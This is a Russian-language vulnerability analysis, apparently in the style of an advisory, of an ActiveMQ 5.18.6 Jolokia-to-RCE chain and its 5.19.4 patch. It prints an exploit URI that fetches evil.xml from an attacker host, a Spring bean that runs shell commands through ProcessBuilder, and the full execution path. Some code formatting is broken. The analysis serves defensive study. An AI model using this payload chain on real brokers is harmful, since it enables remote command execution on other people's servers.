Следовательно:```text xbean:http://192.168.1.32:9999/evil.xml
сводится к:```text
http://192.168.1.32:9999/evil.xml
и загружается как Spring UrlResource.
Вызов reader.setValidating(isValidate()) управляет только режимом проверки XML в Spring XmlBeanDefinitionReader. Он не ограничивает классы бинов, аргументы конструкторов, методы жизненного цикла или удалённые URL-ресурсы.
ActiveMQ 5.18.6 объявляет:```xml 5.3.39 4.25
В XBean 4.25, `ResourceXmlApplicationContext` вызывает `refresh()` из своего конструктора:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
Он загружает определения бинов из предоставленного ресурса:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }
`AbstractApplicationContext.refresh()` в Spring затем инициализирует фабрику бинов и создаёт экземпляры неленивых синглтон-бинов:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
finishBeanFactoryInitialization() вызывает:```java
beanFactory.preInstantiateSingletons();
`DefaultListableBeanFactory.preInstantiateSingletons()` создаёт каждый неабстрактный, синглтонный, неленивый бин:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
Во время инициализации бина Spring вызывает пользовательские методы инициализации:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }
Пользовательский метод инициализации определяется из определения бина:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
invokeCustomInitMethod() вызывает метод рефлексивно:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
Вредоносный Spring XML-бин, например:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
вызывает следующее поведение:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()
Это происходит до того, как `XBeanBrokerFactory.createBroker()` проверяет результирующий контекст на наличие bean (`BrokerService`):```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
Проверка брокера выполняется после обновления контекста Spring. В результате конфигурация может выполнить произвольные init-методы и всё равно быть отклонённой позже как недопустимая конфигурация брокера.
Первопричина — небезопасный архитектурный мост между удалённо вызываемой управляющей операцией и доверенными локальными механизмами начальной загрузки брокера.
Уязвимая конструкция обладает следующими свойствами:
exec для управляющих MBean брокера ActiveMQ.BrokerView.addNetworkConnector(String) принимает управляемый атакующим URI на входе.static:(...) приводит к автоматическому подключению к вложенному URI при запуске сетевого коннектора.vm:// — это не только внутривиртуальный транспорт; он также поддерживает автоматическое создание брокера, когда именованный VM-брокер отсутствует.VMTransportFactory рассматривает brokerConfig как URI фабрики брокеров и передаёт его в BrokerFactory.createBroker().BrokerFactory поддерживает URI xbean: через XBeanBrokerFactory.XBeanBrokerFactory принимает URL-ресурсы и создаёт Spring-контекст ResourceXmlApplicationContext.BrokerService, только после того, как Spring уже инициализировал контекст.Это не просто «некорректная проверка входных данных» в изоляции. Уязвимое поведение вызвано предоставлением интерпретатора URI, способного работать с конфигурацией, через JMX-операцию времени выполнения и допуском этого интерпретатора к исполнению жизненного цикла Spring-бинов.
Точная причина отказа состоит в том, что управляющий API рассматривает discoveryAddress как адрес коннектора, но нижележащий транспортный стек трактует его как исполняемую конфигурацию. На пути эксплуатации строка вычисляется как:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
Проверка выполняется слишком поздно, потому что единственная проверка конфигурации брокера в `XBeanBrokerFactory` происходит после:```java
new ResourceXmlApplicationContext(resource)
и этот конструктор выполняет:```text refresh() -> preInstantiateSingletons() -> init-method invocation
К тому моменту, как ActiveMQ определит, что XML не содержит допустимого `BrokerService`, управляемые атакующим Spring-бины могли уже выполниться.
---
### Анализ патча
Соответствующий дифф был проанализирован с помощью:```bash
git diff activemq-5.18.6..activemq-5.19.4
Изменение, связанное с безопасностью, находится в:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
В 5.18.6, `addNetworkConnector()` напрямую передавал строку:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
В 5.19.4 была добавлена проверка перед вызовом BrokerService:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
Та же проверка была добавлена в `addConnector()`:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
Валидатор отклоняет транспортные схемы vm:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }
Исправленный путь выполнения становится:```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
Это блокирует эксплойт до того, как запрос достигнет:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()
Патч не удаляет поддержку VM-транспорта глобально. Он ограничивает использование `vm://` через методы создания коннекторов `BrokerView`, ориентированные на JMX. Внутренние или доверенные пути кода, использующие VM-транспорт, по-прежнему существуют.
Между версиями 5.18.6 и 5.19.4 в `VMTransportFactory.doCompositeConnect()` не было внесено изменений, влияющих на безопасность. Поведение `brokerConfig` остаётся прежним:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
No security-relevant change was made to XBeanBrokerFactory.createApplicationContext() in this diff. Remote URL resources and Spring ResourceXmlApplicationContext behavior remain available for trusted broker configuration loading.
BrokerFactory changed from a raw FactoryFinder to a typed FactoryFinder<BrokerFactoryHandler>:```diff
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
= new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
BrokerFactoryHandler.class, null);
Это очистка типобезопасности, а не смягчение последствий RCE. Диспетчеризация на основе схемы к `XBeanBrokerFactory` остается.
`BrokerService` получил проверки `isAutoStart()` для запуска коннектора в некоторых путях:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
Это не основное исправление для пути Jolokia-to-RCE. Основная мера смягчения — предварительная отбраковка vm:// в BrokerView.
Сводка поведения патча:
BrokerView.addNetworkConnector() принимает static:(vm://...?brokerConfig=xbean:http://...) и передаёт его дальше по цепочке.BrokerView.addNetworkConnector() проверяет предоставленный URI перед созданием коннектора и отклоняет использование вложенного vm://.VMTransportFactory может потреблять контролируемый атакующим brokerConfig, достижимый через путь JMX.VMTransportFactory по-прежнему поддерживает brokerConfig, но открытый путь JMX блокируется до разрешения VM-транспорта.Точный уязвимый путь выполнения кода в ActiveMQ Classic 5.18.6:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()
Эксплуатация возможна, поскольку ActiveMQ предоставляет управляющую операцию, которая принимает URI коннектора, но нижележащая реализация транспорта может интерпретировать этот URI как конфигурацию создания брокера. Параметр `brokerConfig` переходит из логики транспортного соединения в логику фабрики брокера. При значении `xbean:` он переходит далее в обработку Spring XML.
Примитив выполнения в Spring — это не отдельная ошибка десериализации. Это нормальное поведение жизненного цикла Spring: неленивый singleton-бин создаётся во время обновления контекста, и его настроенный `init-method` вызывается. Бин `java.lang.ProcessBuilder` с `init-method="start"` таким образом выполняет процесс во время инициализации контекста приложения.
Сбой проверки — это дефект порядка действий. ActiveMQ проверяет, содержит ли конфигурация XBean пригодный `BrokerService`, только после того, как `ResourceXmlApplicationContext` уже загрузил XML и инициализировал singleton-бины. Отклонение конфигурации брокера после обновления не отменяет побочных эффектов методов жизненного цикла бинов.
Патч 5.19.4 смягчает этот конкретный путь, добавляя проверку URI в `BrokerView` перед созданием коннектора и отклоняя использование транспорта `vm://` из поверхности управления JMX. Патч блокирует открытый путь к `VMTransportFactory.doCompositeConnect()`; он не удаляет `brokerConfig`, поддержку `xbean:` или загрузку Spring XBean из доверенных внутренних путей конфигурации.